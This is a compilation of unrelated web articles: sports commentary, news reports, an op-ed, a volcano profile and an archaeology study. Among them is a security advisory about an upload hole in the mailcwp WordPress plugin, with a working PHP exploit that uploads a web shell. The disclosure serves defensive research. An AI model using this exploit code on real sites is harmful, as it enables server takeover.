3. Jae Crowder is the emerging star of the tournament
It’s not very often that the Big East player of the year flies under the radar in the discussion of the country’s best players, but that has happened all year long with Crowder. I’m not sure how much longer it will last, though, because against Murray State on Saturday Crowder showed that he is the most versatile player in the country and that he can carry a team to the Final Four. As excited as I am to see Florida and Marquette race to 100 points on Thursday, I think I’m more excited about a possible Crowder-Draymond Green matchup in the Elite Eight, because both of those guys do more for their teams than any other player left in the tournament.
4. Syracuse looking good after a scare
Syracuse needed a combination of luck, incompetent refs, and a few big plays to escape a historic loss to UNC-Asheville in their first tournament game, and many people put the Fab Melo-less Orange on upset alert in their next game against Kansas State. But ‘Cuse sent a message to the rest of the field that even without Melo, they won’t be an easy out.
5. Redemption for Louisville and Wisconsin
Big things were expected from Louisville and Wisconsin this season, but in late December and early January both had stretches that made it easy to wonder why their preseason rankings were so high. Losing over the weekend wouldn’t have necessarily made their respective seasons failures, because both the Cardinals and Buzzcuts won a lot of games, but Sweet 16 berths give them something extra to validate the lofty expectations placed on them in November.
6. Redemption for Jordan Taylor
Taylor’s individual season mirrored his team’s season. As a first team preseason All-American who averaged 18 points per game a season ago, the bar was set very high for Taylor this year. And like the Buzzcuts as a whole, Taylor wasn’t exactly bad this year — he averaged fewer points, rebounds, and assists than last season, but with more turnovers per game than a season ago, he certainly didn’t live up to expectations. Of course, none of that is important now that he’s playing well when it matters most and just hit the game-winning shot to beat Vanderbilt and send the Buzzcuts to the Sweet 16.
7. The Big Ten is 9-2 and the state of Ohio is 8-0
As a proud alum of the only Big Ten school located in Ohio, let me just take a second to politely say, “Suck it, every other state and conference.”
8. Kentucky’s stretch to end the game against Iowa State is why they are overwhelming favorites to win it all
At the under-16 media timeout in the second half, with Kentucky holding on to a two-point lead, my friend who was watching the game at my place stood up from the couch and said he was going to run to Subway because he didn’t want to miss the game but he was too hungry to wait for the end. When he came back 10 minutes later, Kentucky’s lead was 16, prompting him to ask, “What the hell happened in the 10 minutes I was gone?”
All I could respond with was, “Kentucky happened.”
9. After all these years, Ashley Judd still gets interviewed during Kentucky games for some reason
“I don’t think I can fully understand how good this Kentucky team is until I hear what the chick who starred alongside The Rock in The Tooth Fairy has to say about them.”
—Nobody
10. Indiana is back in the Sweet 16
With the season they had, it shouldn’t come as a huge surprise that the Hoosiers are in the Sweet 16 for the first time in 10 years. But when you consider the expectations at the start of the season and the fact that VCU outplayed them for most of the game Saturday, Indiana should feel proud to make the Sweet 16. College basketball is at its best when all of the blue bloods have good teams, so it’s encouraging to see the Hoosiers doing well in the tournament during what was supposed to be a tune-up year before IU’s great recruiting class arrived in Bloomington next season.
11. Did we see Shaka Smart’s last game at VCU?
Most Illinois fans have pegged Smart as their pick to fill Bruce Weber’s shoes, and rightfully so. He’s a young Midwesterner with a Final Four and a prestigious CBI championship on his résumé in just three years at VCU. But despite how badly Illini fans want him, the truth is that Smart likely wouldn’t get that much more money from Illinois, and he definitely wouldn’t get the job security at Illinois that he has now, which is why I think he’ll ultimately stay with the Rams. That said, he’d get better recruits in Champaign and would have a better opportunity for sustained success, so it wouldn’t be crazy if he decided to leave.
12. Colorado’s karmic run coming to an end
Karma always seems to get a bad rap, what with everyone calling it a bitch all the time and the Jersey Shore cast regularly starting fights and exposing their genitals inside of it. But thanks to the Colorado athletic department, karma is slowly restoring its name. First the Buffalo athletic department offered all-expenses-paid trips for 50 students to travel to Los Angeles for the Pac-12 tournament, where their sixth-seeded Buffs made an improbable run to the championship. That alone is above and beyond what most athletic departments do for their students, but Colorado followed that by offering another great deal to all Colorado students for the NCAA tournament. In what should come as no surprise, the 11th-seeded Buffaloes won their opening-round game against UNLV and then had third-seeded Baylor on the ropes in front of a heavy pro-Colorado crowd before the Bears got hot and pulled away late.
13. Brady Heslip’s shooting display against Colorado was a thing of beauty
Being a Canadian who parts his hair, Heslip looks like the kind of kid who knocks on your door to sell candy bars for his Little League team and is so innocent that he doesn’t realize $4 for a king-size Kit Kat is a complete rip-off. But then you see him play and you realize that he’s infinitely cockier than you thought, as evidenced by the fact that he’s a flagrant violator of the premature loose butthole monocle. That said, against Colorado on Saturday night, he had every right to throw up as many loose butthole monocles as he wanted because his shooting performance (9-for-12 from behind the arc) was unlike anything I’ve ever seen in the NCAA tournament.
14. Charles Barkley is delightfully bad in the studio
I know that the same can be said about him when he’s working NBA games, but it’s especially true during March Madness. What makes it that much better is that Barkley is usually the last of the analysts to chime in with his thoughts, so by the time it’s his turn to talk all of the obvious points have been mentioned. As a result, Barkley, who clearly hadn’t watched a single college basketball game before the tournament, ends up saying things like, “I think the team that (insert something obvious, like “plays defense” or “scores a lot of points”) will have a good chance at winning the game.”
15. The officiating has been awful
Being an official is a thankless job, but it’s also a job that completely deserves any and all criticism when done terribly, so here are some memorably bad calls that potentially changed the outcomes of games so far in this year’s tournament:
• Notre Dame getting called for a bogus lane violation late in the game against Xavier
• Trevor Releford not getting the foul call when he was clearly hit on the elbow as he shot the potential game-winner against Creighton
• Pretty much everything that happened in the final two minutes of Syracuse vs. UNC-Asheville
As if that’s not bad enough, there were handfuls of other terrible calls that weren’t directly responsible for deciding games, such as all of the technicals called for hanging on the rim, and every single call Ted Valentine has made.
16. Carolina looked dominant against Creighton
I’ve said for a few weeks now that the national title is Carolina’s to lose because they are basically just a more experienced, offensive-minded Kentucky, and Sunday’s performance against Creighton only solidified this opinion. The Heels are relentless offensively and really just need to play a tiny bit of defense to dominate their opponents. In fact, the only way I can imagine Carolina not winning the title this year is if a key player gets injured. You know, for example, an injury like
17. Kendall Marshall’s broken wrist
It can’t be overstated how much the availability and effectiveness of Marshall impacts North Carolina’s title chances, but I’ll try anyway: North Carolina might as well forfeit against Ohio if Marshall can’t play the rest of the tournament, because Duke will have as good of a chance to win the national championship as they will.
18. North Carolina State is no Cinderella
Based on their seed, it’s easy to label NC State a Cinderella team, but Cinderella teams typically look out of place and win because of luck, uncharacteristically hot shooting, or uncharacteristically cold shooting from the opposition. NC State, on the other hand, looks every bit like a 4- or 5-seed and is a legitimate threat to make it to New Orleans. The phrase “peaking at the right time” is beaten to death this time of year, but if there was ever a team that that phrase described perfectly, it’s the Wolfpack.
19. The end of the Robbie Hummel Era
Fact: The last time Hummel wasn’t on Purdue’s roster, Michael Jackson was alive, Bob Barker was the host of The Price Is Right, and the iPhone hadn’t been released yet. No words could accurately express what Hummel has meant to Purdue during the last five years, and as one of the nicest guys in the sport, it was impossible not to cheer for him, especially with all he had to endure because of his two ACL tears. It’s a shame that he didn’t get to play in the NCAA tournament with JaJuan Johnson and E’Twaun Moore the last two years, when Purdue would’ve been Final Four contenders, but at least he was able to end his career on a somewhat high note by lighting up Kansas for 26 points and nine rebounds.
20. The Buick Verano commercial featuring the band whose name I don’t care to know is my own personal hell
If you would’ve told me on Thursday that the Buick Verano commercial with the tour buses following a girl to the dry cleaners would run away with the title of “most annoying commercial of the 2012 tournament,” I would’ve considered it an upset. But in retrospect, it was the obvious choice all along because the overall premise of the commercial is ridiculous, and it features a song that gets stuck in your head and a guy whose face is just asking to be punched. I’m not sure who the band in the commercial is, but I do know that while it may have started with a whisper, it’s going to end with me putting car bombs in all those buses if that commercial continues violating my ears. |
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Located in the Danakil Depression (or Afar Depression) in the Afar Region of northeastern Ethiopia, Erta Ale is one of the driest, lowest, and hottest places on Earth. Temperatures during the year range from 77 degrees Fahrenheit to 118 degrees Fahrenheit. The area is beset by drought, bereft of trees, and has little in the way of roads.
Known by the Afar as the "smoking mountain" and "the gateway to hell," Erta Ale is a 2,011-foot-high constantly active basaltic shield volcano. It is one of only a handful of continuously active volcanos in the world, and a member of an even more exclusive group: volcanos with lava lakes. While there are only five known volcanos with lava lakes globally, Erta Ale often has two active lava lakes, making it a unique site.
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Erta Ale was discovered in 1906, which also makes it the longest-known lava lake. For a lava lake to exist, the surface of the lake and the magma chamber below must form a constant convecting system, or the entire thing will cool and solidify.
Beneath the ground surrounding Erta Ale is an enormous pool of active magma. The lake goes through cycles and will cool, form a black layer on top, and then suddenly convect back into liquid lava. Occasionally, due to pressure, "fountains" of lava will form, spewing lava in 6- to 13-foot-high plumes.
The volcano itself has erupted in 1873, 1903, 1940, 1960, 1967, and 2005, when it killed hundreds of livestock and forced thousands to flee. In 2007 lava flows once again forced evacuation. Two people went missing and were presumably killed.
Despite the harsh conditions, danger of volcanic eruption, and extreme heat, Erta Ale has become something of a tourist destination recently. Whereas in 2002 the area was accessible only by helicopter, today adventure tourism groups take trips to the volcano lakes and it is now possible to drive within 4.3 miles of the volcano.
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As Christian clergy members, we place a high value on nonviolence. We are part of a national campaign that promotes proven solutions to reducing gun violence in our cities, and each of us has worked to achieve peace in our neighborhoods. But we know there has never been a time in American history in which movements for justice have been devoid of violent outbreaks.
Thanks to the sanitized images of the Rev. Dr. Martin Luther King Jr. and the civil rights movement that dominate our nation’s classrooms and our national discourse, many Americans imagine that protests organized by the Southern Christian Leadership Conference, the Student Nonviolent Coordinating Committee and countless local organizations fighting for justice did not fall victim to violent outbreaks. That’s a myth. In spite of extensive training in nonviolent protest and civil disobedience, individuals and factions within the larger movement engaged in violent skirmishes, and many insisted on their right to physically defend themselves even while they proclaimed nonviolence as an ideal (examples include leaders of the SNCC and the Deacons for Defense and Justice in Mississippi).
The reality — which is underdiscussed but essential to an understanding of our current situation — is that the civil rights work of Dr. King and other leaders was loudly opposed by overt racists and quietly sabotaged by cautious moderates. We believe that current moderates sincerely want to condemn racism and to see an end to its effects. The problem is that this desire is outweighed by the comfort of their current circumstances and a perception of themselves as above some of the messy implications of fighting for liberation. This is nothing new. In fact, Dr. King’s 1963 “Letter From Birmingham Jail” is as relevant today as it was then. He wrote in part:
I have almost reached the regrettable conclusion that the Negro’s great stumbling block in the stride toward freedom is not the White Citizens Councilor or the Ku Klux Klanner but the white moderate who is more devoted to order than to justice; who prefers a negative peace which is the absence of tension to a positive peace which is the presence of justice; who constantly says, “I agree with you in the goal you seek, but I can’t agree with your methods of direct action.”
National polling from the 1960s shows that even during that celebrated “golden age” of nonviolent protest, most Americans were against marches and demonstrations. A 1961 Gallup poll revealed that 57 percent of the public thought that lunch counter sit-ins and other demonstrations would hurt integration efforts. A 1963 poll showed that 60 percent had an unfavorable feeling toward the planned March on Washington, where Dr. King gave his “I Have a Dream” speech. A year later, 74 percent said that since black people had made some progress, they should stop their demonstrations; and by 1969, 74 percent said that marching, picketing and demonstrations were hurting the civil rights cause. As for Dr. King personally, the figure who current moderates most readily point to as a model, 50 percent of people polled in 1966 thought that he was hurting the civil rights movement; only 36 percent believed he was helping.
The civil rights movement was messy, disorderly, confrontational and yes, sometimes violent. Those standing on the sidelines of the current racial-justice movement, waiting for a pristine or flawless exercise of righteous protest, will have a long wait. They, we suspect, will be this generation’s version of the millions who claim that they were one of the thousands who marched with Dr. King. Each of us should realize that what we do now is most likely what we would have done during those celebrated protests 50 years ago. Rather than critique from afar, come out of your homes, follow those who are closest to the pain, and help us to redeem this country, and yourselves, in the process. |
Last summer we gave a long explanation as to why there is significant video evidence that would serve as suitable fodder for a highlight package pointing out the similarities between Michael Jordan and Kobe Bryant’s game. Not just their game, really, but their facial expressions, between-play maneuvering, and overall oeuvre.
[Related: Kobe Bryant's surgery scar is pretty gnarly]
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A year later, a second clip has surfaced. Take a look:
Last year’s comments list was not kind to Kobe, which is frustrating. Because Kobe Bryant is supposed to be patterning his game after Michael Jordan. That’s sort of what you should be doing, as a 6-6 shooting guard. People of a certain age tend to emulate Michael Jordan. The difference between Kobe Bryant and the rest of us, though, is that he’s nearly as good as Michael Jordan, so he got to do it on basketball’s biggest stage.
From the gum chomping to the arched eyebrows to the actual inflection of his voice, you can tell that Bryant clearly watched tape after tape of Jordan while growing up in Italy. That aspect is legitimate, and just fine. It’s a habit that’s hard to break. I still inadvertently give off the MJ-styled inner-cheek chew and squinted-eye look while attempting to concentrate on what someone is saying. I’m not trying to be Michael Jordan, it’s just something I picked up after watching hours and hours of SportsChannel as a kid.
The on court aspects, though, don’t have to be just because Kobe Bryant watched a ton of Michael Jordan while growing up. Again, Kobe is supposed to be doing this.
Story continues
Both players are around the NBA’s average height and weight – 6-6 and 220 pounds – and both have similar skill sets. And when you pair those two factors with the athleticism and smarts that both boast, you get a similar game. And for that size, with those skills, jab-step jumpers and turnaround daggers off of a post-up are the most efficient way to go. For Bryant, our only longtime complaint is that he relies too heavily on that jab-step from 19 or 20 feet out, when Jordan would usually attempt to get to 15 feet.
[Related: Kobe Bryant's fans driven to hysteria]
The shooting guard position is the NBA’s least influential, and it speaks to Jordan and Bryant’s smarts and competitiveness that they’ve managed to dominate eras while playing a position that really doesn’t matter all that much in comparison to the other four spots. And this sort of play – again, those jab-steps, and those turnarounds and fadeaways – is how you get things down at the shooting guard position. Provided you have the skill, because we’d rather you focus on your other strengths, Tony Allen, instead of trying to cop Kobe.
In case you missed it last August, here is the first video in the series:
(Video via The Basketball Jones and Reddit.)
Related coverage on Yahoo! Sports:
• Frustrations will be forgiven once Derrick Rose takes the court again
• Dwight Howard in Twitter spat with woman
• Where Greg Oden fits in with the Heat
• Is competitive balance an oxymoron in the NBA? |
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Philip Hammond has called on China to reduce steel production as the fate of Tata’s UK steel operations hangs in the balance.
The foreign secretary met his Chinese counterpart, Wang Yi, in Beijing on his way to Hiroshima for the G7 foreign ministers’ meeting. Hammond said the discussion had provided the opportunity to talk about “issues of mutual concern”.
“I urged China to accelerate its efforts to reduce levels of steel production. The UK’s focus is on finding a long-term sustainable future for steelmaking at Port Talbot and across the UK, and I welcomed the potential interest of Chinese companies in investment in UK steelmaking.”
As Chinese domestic demand for steel has fallen following a slowdown in the country’s economy, its steelmakers have been accused of dumping excess production on the global market.
China said on Saturday that plans to shut steel mills over the next five years would cut capacity to an estimated 1.13bn tonnes by 2020 – a figure that still far exceeds domestic demand.
Facebook Twitter Pinterest Business secretary Sajid Javid talks to workers at Tata Steel in Port Talbot. Photograph: Ben Birchall/PA
Cheap Chinese steel is one reason why UK-based producers, such as Tata, have found it harder to remain profitable. Higher energy costs in Britain compared with other countries are another factor.
Tata has decided to sell its UK steel plants, including Port Talbot in Wales and Scunthorpe in Lincolnshire. A deal to save the latter from closure could be announced early next week, the BBC reported.
The sale, to investment firm Greybull Capital, would involve a £400m investment package. The move would safeguard about 4,800 jobs and thousands more in supply chains and the local economy.
The Guardian view on Tata Steel’s pull-out: a national summons to get serious | Editorial Read more
On Friday, two Scottish steel mills that Tata had mothballed were formally handed over to their new owners, Liberty House, in a deal brokered by the Scottish government.
Production could resume at the Dalzell and Clydebridge plants as soon as August, creating 150 jobs. The plants had employed 270 workers before being closed last year.
Liberty House, which is led by Sanjeev Gupta, has been linked with a bid for the Port Talbot plant, the UK’s largest steelworks employing about 4,000 staff.
However, it is uncertain whether Liberty House has the resources to rescue Port Talbot and Tata’s other sites without large amounts of government funding.
Gupta said the government was committed to finding a solution for Port Talbot. “We don’t yet have a detailed proposition from them, but our feeling is that they are committed to finding a solution, including finding a solution to power.”
He said his company needed to examine any proposal carefully before deciding whether to make a bid.
Analysts at the investment bank Macquarie have said Tata Steel’s UK plants are not viable.
“Structural issues, such as high labour, energy and regulatory costs, make them unviable even over the longer term,” they wrote. “We think the possibility of a new buyer turning these assets around is also slim, as we saw with the Teesside facility [which SSI closed last year] and can be gauged from the prolonged discussion around the sale of its long product business [in Scunthorpe].
“Port Talbot has little future for its blast furnaces and will have to be ultimately shut down. Steelmaking in the UK under the current spread of steel and raw material makes no sense to us at all.”
Facebook Twitter Pinterest Tata’s steel plant in Scunthorpe. Photograph: Lindsey Parnaby/AFP/Getty Images
The business secretary, Sajid Javid, travelled to Mumbai this week for talks with Tata management and has called on the Indian company to be a “responsible seller” of its UK plants.
Meanwhile, Hammond said he had also spoken to Wang about the UK’s continued concerns over the case of five Hong Kong booksellers who were detained by Chinese authorities.
Hammond said: “Our diplomatic and economic relationship with China is strong and delivering benefits for both countries.
“We are building on the global partnership established during last year’s successful state visit by President Xi Jinping, by working together closely on international challenges and strengthening our trade and investment links.
“Examples of our global partnership in action include new security and peacekeeping dialogues, a new fund on antimicrobial resistance, and cooperation on Syria, Iran and North Korea.”
The foreign secretary’s tour of east Asia will include a visit to Vietnam. |
United's last match at Anfield was overshadowed by the Suarez-Evra row
Manchester United are likely to be given more than 6,000 tickets for the FA Cup fourth-round tie with Liverpool at Anfield this month.
United received a reduced allocation for October's league fixture because of fans blocking gangways at fixtures.
But Liverpool City Council has said its objections have now been lifted.
United may get the bottom tier of the Anfield Road stand, holding just under 6,400, but two seats at the end of each row, around 300, will not be sold.
"We have taken into account the improvement of the Manchester United supporters at the most recent Premier League fixture relating to the blocking of gangways and aisles," said Stephen Clare, Liverpool City Council's principal licensing officer.
"Liverpool FC will be responsible for determining the actual numbers that this will result in."
The fourth-round match takes place on the weekend of 28/29 January.
It will be the first time the teams have met since the 1-1 draw at Anfield on 15 October in which Liverpool striker Luis Suarez clashed with United's Patrice Evra.
Suarez was subsequently banned for eight matches and fined £40,000 after being found guilty of racially abusing Evra.
Additional security will be in place for the tie and it is expected the front row of the top tier of the Anfield Road stand will not be sold for the game, the first between the sides in the FA Cup at Anfield since 2006.
Suarez will still be suspended for the match, a date for which should be confirmed by the Football Association this week.
However, the Uruguay international would be available for any replay, and for the Premier League game between the teams at Old Trafford on 11 February. |
The family of a brave teen who tackled a suicide bomber who was trying to enter his school is imploring the Pakistani government for protection as terrorists have warned them they are targets.
The kin of Pakistani teenager Aitzaz Hassan called the 15-year-old "pehlwan" -- or wrestler -- because of his heavy-set frame. On Jan. 6, 2014, Aitzaz, who had talked about becoming a soldier one day, used his might to keep a suicide bomber from blowing up his classmates.
Aitzaz was standing outside his government school in the northwestern district of Hangu when the terrorist, claimed by Lashkar-e-Jhangvi, a group with ties to al-Qaeda and the Pakistani Taliban (TTP), tried to enter the gates and reach the morning assembly.
The teen quickly tackled the bomber, preventing him from entering the school and reaching some 1,000 students inside. Aitzaz died later at a hospital from injuries suffered in the bomb blast.
Aitzaz's father, Mujahid Ali Bangash, was working in the United Arab Emirates at the time. He told Agence France-Presse he was "happy that my son has become a martyr by sacrificing his life for a noble cause."
"Aitzaz has made us proud by valiantly intercepting the bomber and saving the lives of hundreds of his fellow students," he said.
The teen was posthumously awarded the country's Sitara-e-Shujaat, or Star of Bravery. The family has been lobbying to make Jan. 6 Aitzaz Day in Pakistan, so all will remember his ultimate sacrifice to stop terrorism.
This April, the family received a threat from Tehreek-e-Taliban Pakistan: "Aitzaz Hasan is not a hero nor a martyr," the letter said. "If Aitzaz's brother Mujtaba does not stop meeting media and officials of government institutions, he will be responsible for any loss.”
The TTP shot Malala Yousafzai, a teen advocate for girls' education, in the head in an Oct. 9, 2012, assassination attempt. She survived and went on to become the youngest Nobel Peace Prize recipient in history.
Aitzaz's brother Mujtaba went to local authorities shortly after receiving the threat to ask for government protection for the Hasan family. According to Pakistan's The Nation, authorities are still mulling over the request.
“Despite my plea to the relevant security institutions informing them of the threat, I have not yet received a reply from any of them,” Mujtaba said. “Right now my family only has one guard for protection, provided by the district administration. It is a request to the authorities to give us the required security. My family is going through trauma and need their support.”
Mujtaba said the provincial government "has not been in contact with my family" about security and is not keeping promises to honor the teen who stopped what would have been a disastrous attack.
"They are yet to keep their word of building two colleges and a sports stadium in Aitzaz's name," he noted. "The federal government has not contacted us at all." |
A brother of Las Vegas shooter Stephen Paddock was arrested in Los Angeles on suspicion of possessing child pornography, authorities said Wednesday.Bruce Paddock, 59, was arrested on a 20-count felony complaint, a police statement said.His relationship to Stephen Paddock was confirmed by a law enforcement official briefed on the investigation but not authorized to discuss it publicly.Bruce Paddock is not a suspect in the Las Vegas shooting.The child porn case predated the Oct. 1 shooting, said the official who spoke on condition of anonymity.It wasn’t immediately known if Paddock has an attorney. He was being held on $60,000 bail at the Metropolitan Detention Center.The felony complaint for his arrest alleges one count of possession of child or youth pornography and 19 counts of sexual exploitation of a child.The complaint signed Tuesday by a Los Angeles County deputy district attorney specified that between Jan. 1 and Aug. 30 of 2014, Bruce Paddock knowingly possessed more than 600 images of child or youth pornography involving use of a person under age 18 engaging in or simulating sexual conduct.The material included “10 or more images of a prepubescent minor or a minor who was under 12 years of age,” the complaint said.The police statement said Bruce Paddock came under investigation after evidence was discovered inside a business in the Sun Valley area of the city where he had been a squatter. The evidence was discovered after his eviction.At the time, Bruce Paddock was a transient and couldn’t be found, police said. He was recently located at an address in North Hollywood.Fifty-eight people were killed and hundreds more were wounded Oct. 1 at the Route 91 Harvest Festival on the Las Vegas Strip. Stephen Paddock opened fire from the 32nd floor of the Mandalay Bay casino-hotel tower. Stephen Paddock was found dead.Another brother, Eric Paddock, spoke to media following the shooting but Bruce Paddock did not.
A brother of Las Vegas shooter Stephen Paddock was arrested in Los Angeles on suspicion of possessing child pornography, authorities said Wednesday.
Bruce Paddock, 59, was arrested on a 20-count felony complaint, a police statement said.
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His relationship to Stephen Paddock was confirmed by a law enforcement official briefed on the investigation but not authorized to discuss it publicly.
Bruce Paddock is not a suspect in the Las Vegas shooting.
The child porn case predated the Oct. 1 shooting, said the official who spoke on condition of anonymity.
It wasn’t immediately known if Paddock has an attorney. He was being held on $60,000 bail at the Metropolitan Detention Center.
The felony complaint for his arrest alleges one count of possession of child or youth pornography and 19 counts of sexual exploitation of a child.
The complaint signed Tuesday by a Los Angeles County deputy district attorney specified that between Jan. 1 and Aug. 30 of 2014, Bruce Paddock knowingly possessed more than 600 images of child or youth pornography involving use of a person under age 18 engaging in or simulating sexual conduct.
The material included “10 or more images of a prepubescent minor or a minor who was under 12 years of age,” the complaint said.
The police statement said Bruce Paddock came under investigation after evidence was discovered inside a business in the Sun Valley area of the city where he had been a squatter. The evidence was discovered after his eviction.
At the time, Bruce Paddock was a transient and couldn’t be found, police said. He was recently located at an address in North Hollywood.
Fifty-eight people were killed and hundreds more were wounded Oct. 1 at the Route 91 Harvest Festival on the Las Vegas Strip. Stephen Paddock opened fire from the 32nd floor of the Mandalay Bay casino-hotel tower. Stephen Paddock was found dead.
Another brother, Eric Paddock, spoke to media following the shooting but Bruce Paddock did not.
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Remote file upload vulnerability in mailcwp v1.99 wordpress plugin
Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin Author: Larry W. Cashdollar, @_larry0 Date: 2015-07-09 Download Site: https://wordpress.org/plugins/mailcwp/ Vendor: CadreWorks Pty Ltd Vendor Notified: 2015-07-09 fixed in v1.110 Vendor Contact: Contact Page via WP site Description: MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website. Vulnerability: The code in mailcwp-upload.php doesn't check that a user is authenticated or what type of file is being uploaded any user can upload a shell to the target wordpress server: 2 $message_id = $_REQUEST["message_id"]; 3 $upload_dir = $_REQUEST["upload_dir"]; . . 8 $fileName = $_FILES["file"]["name"]; 9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName"); Exploitation requires the attacker to guess a writeable location in the http server root. CVEID: OSVDB: Exploit Code: • <?php • /*Larry W. Cashdollar @_larry0 • Exploit for mailcwp v1.99 shell will be called 1-shell.php. • 7/9/2015 • */ • $target_url = 'http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads'; • $file_name_with_full_path = '/var/www/shell.php'; • • echo "POST to $target_url $file_name_with_full_path"; • $post = array('file' => 'shell.php','file'=>'@'.$file_name_with_full_path); • • $ch = curl_init(); • curl_setopt($ch, CURLOPT_URL,$target_url); • curl_setopt($ch, CURLOPT_POST,1); • curl_setopt($ch, CURLOPT_POSTFIELDS, $post); • curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); • $result=curl_exec ($ch); • curl_close ($ch); • echo "<hr>"; • echo $result; • echo "<hr>"; • ?> • Advisory: http://www.vapid.dhs.org/advisory.php?v=138 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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Ahead of the 2016 presidential elections, a leading American Catholic prelate is saying that neither candidate is clearly better than the other, because both Hillary Clinton and Donald Trump have “astonishing flaws.”
“This is depressing and liberating at the same time,” Philadelphia’s Archbishop Charles Chaput wrote in his Aug. 12 column for Catholic Philly, the news outlet of the archdiocese he leads.
“Depressing, because it’s proof of how polarized the nation has become,” Chaput wrote. “Liberating, because for the honest voter, it’s much easier this year to ignore the routine tribal loyalty chants of both the Democratic and Republican camps.”
In his column, Chaput argues that because of the financial reality of both candidates, with Trump being worth roughly $4.5 billion according to Forbes and Clinton $45 million, neither lives “anywhere near the solar system where most Americans live, work and raise families.”
Yet, he says, voters are asked to trust them.
The archbishop, who claims he still doesn’t know who he’ll vote for when the time comes, masks his personal opinion of either candidate by describing them through “the view of a lot of people.”
Hence Trump comes out as “an eccentric businessman of defective ethics, whose bombast and buffoonery make him inconceivable as president.”
Clinton, on the other hand, “should be under criminal indictment.”
“The fact that she’s not – again, in the view of a lot of people — proves Orwell’s Animal Farm principle that ‘all animals are equal, but some are more equal than others’,” Chaput writes.
Describing Friday’s column as “thoughts from a brother in the faith, not as teachings from an archbishop,” Chaput also goes after Vice President Joe Biden as well as Clinton’s VP running mate, Virginia Senator Tim Kaine.
According to Chaput the two, self-identified Catholics, “seem to publicly ignore or invent the content of their Catholic faith as they go along.”
The archbishop doesn’t mention them by name, but the references are clear.
The faith of both Biden and Kaine has been under the microscope lately, with Vice President Biden officiating a gay wedding and the Virginia senator’s pro-abortion rights and pro-gay marriage record.
As a matter of fact, Chaput is not the only Catholic bishop to speak about Kaine’s faith.
Writing on his Facebook page, Bishop Thomas Tobin of Providence said July 23 that Kaine’s positions on these and other issues “are clearly contrary to well-established Catholic teachings,” adding that the senator’s positions have been “opposed by Pope Francis as well.”
“Senator Kaine has said, ‘My faith is central to everything I do.’ But apparently, and unfortunately, his faith isn’t central to his public, political life,” Tobin wrote.
Ahead of the November voting, “when each Catholic voter must choose between deeply flawed options,” and quoting the US bishop’s document Forming Consciences for Faithful Citizenship, Chaput invites the faithful to pray.
Chaput says that by “Catholic” he means those who “take their faith seriously,” placing it first “in their loyalty, thoughts and actions,” who submit their lives “to Jesus Christ, the Scripture and to the guidance of the community of belief we know as the Church.”
“Anyone else who claims the Catholic label is simply fooling himself or herself — and even more importantly, misleading others,” he writes.
Mike Pence, Trump’s vice president candidate, was raised a Catholic, but later gravitated to an Evangelical mega-church.
Chaput also says that when the bishops urge prayer, they mean more than mumbling a Hail Mary before voting for the perceived “lesser evil.” Prayer, he argues, involves “listening to God’s voice and educating our consciences.”
Further down in his column, Chaput says that God “will hold us accountable to think deeply and clearly, rightly ordering the factors that guide us,” yet American modern life, with its “pervasive social media” and the “relentless catechesis of consumption on our TVs” seems bent on “turning us into opinionated and distracted cattle.”
“Thinking and praying require silence, and the only way we can get silence is by deciding to step back and unplug,” Chaput writes.
He also argues that it’s “blasphemous” to assume God prefers any political party, yet “God, by his nature, is always concerned with good and evil and the choices we make between the two.”
For Catholics, Chaput writes, political and social issues aren’t isolated things, neither are all issues equal in their foundational importance: the right to life “undergirds all other rights,” and it can’t be contextualized “in the name of other ‘rights’.”
Chaput closes his column saying that the upcoming months will determine America’s next decade and urging his readers to think quietly, with heads clear of “media noise” because “none of us can afford to live the coming weeks on autopilot.” |
A study by scientists from Peking University and University College London has provided an outline of the development of rice cultivation in central China between the seventh and first millennium BCE.
Zhenhua Deng, Ling Qin and Yu Gao, from the School of Archaeology and Museology at Peking University, and Alison Ruth Weisskopf and Dorian Q. Fuller from the Institute of Archaeology at UCL, focused on the Baligang site in Nanyang Basin, in what is now Central China. A Neolithic site on the Northern tributary of the Yangtze River, Baligang provides a long arhaeobotanical sequence from the seventh to the first millennium BCE, offering insight into the development of rice and millet agriculture in the region.
Published in the open access journal Plos One, the study has the potential to clear up some long held ambiguities about the origins of farming practices in the region which is now China. Archaeologists generally agree that the prehistoric agricultural history of the region can be divided into two traditions: a northern one based on the cultivation of millet, and one centred around the Middle and Lower Yangtze basin based on rice.
The relationship between these two agricultural traditions is less transparent however, as the study explains, “Some have argued for a single origin, with either rice agriculture spreading north and encouraging millet domestication, or early millet farming in the north spreading south and kick-starting millet cultivation. Others have argued for more than (one) independent center of millet domestication across north China, unconnected to Middle and Lower Yangtze basin rice domestication episodes.”
For their study, the scientists collected flotation samples from pits and cultural layers during excavation seasons in 2004 and 2007. In total, 1700 litres of soil from 123 samples were floated in a flotation tank at the site, before plant remains were collected through sieves with 0.3 mm mesh. Following drying, samples from the 2004 study were sent for analysis at UCL’s facilities, while the 2007 samples were analysed at Peking University.
Selected seed and crop specimens were then chosen for direct radio carbon dating using Accelerated Mass Spectrometry (AMS), which was combined with other data to form a chronology for the history of rice cultivation in the Baligang region. “Over the course of excavations, the chronology was initially based on material cultural affiliation. Fifteen dates were carried out on wood charcoal in support of this. In addition 18 radiocarbon dates were direct AMS dates on identified seed remains recovered from the archaeobotanical samples described in this paper.”
Thanks to the broad chronological scope of the data extracted from Baligang, the authors of the study have been able to construct a detailed picture of subsistence farming strategies in the region. They have confirmed, based on morphological characteristics of the rice, that rice had been domesticated in the region before 6300 BCE, although a lack of evolution in grain shape suggests that the people there were still a long way off from forming an agricultural economy.
The researchers have put together a broad overview of rice cultivation in the region around Baligang during the Neolithic period and beyond. “Baligang provides a long sequence that registers many of the key trends in the Neolithic agriculture of central China.” The effects of cultural factors have been charted, showing how the development of agricultural economies progressed in China. “As a response to cultural changes, crop assemblages varied in different periods along with the interaction between north and south China, with more millets grown in periods under the cultural influence of the north.”
Nevertheless, as is so often the case and as the authors of the study confirm, their results still leave a host of questions unanswered. “The tantalizing new evidence for domestication of rice at Baligang site before 6300 BC require data from other sites and periods to be put into an evolutionary trajectory from rice gathering to domestication.”
For more information: www.journals.plos.org
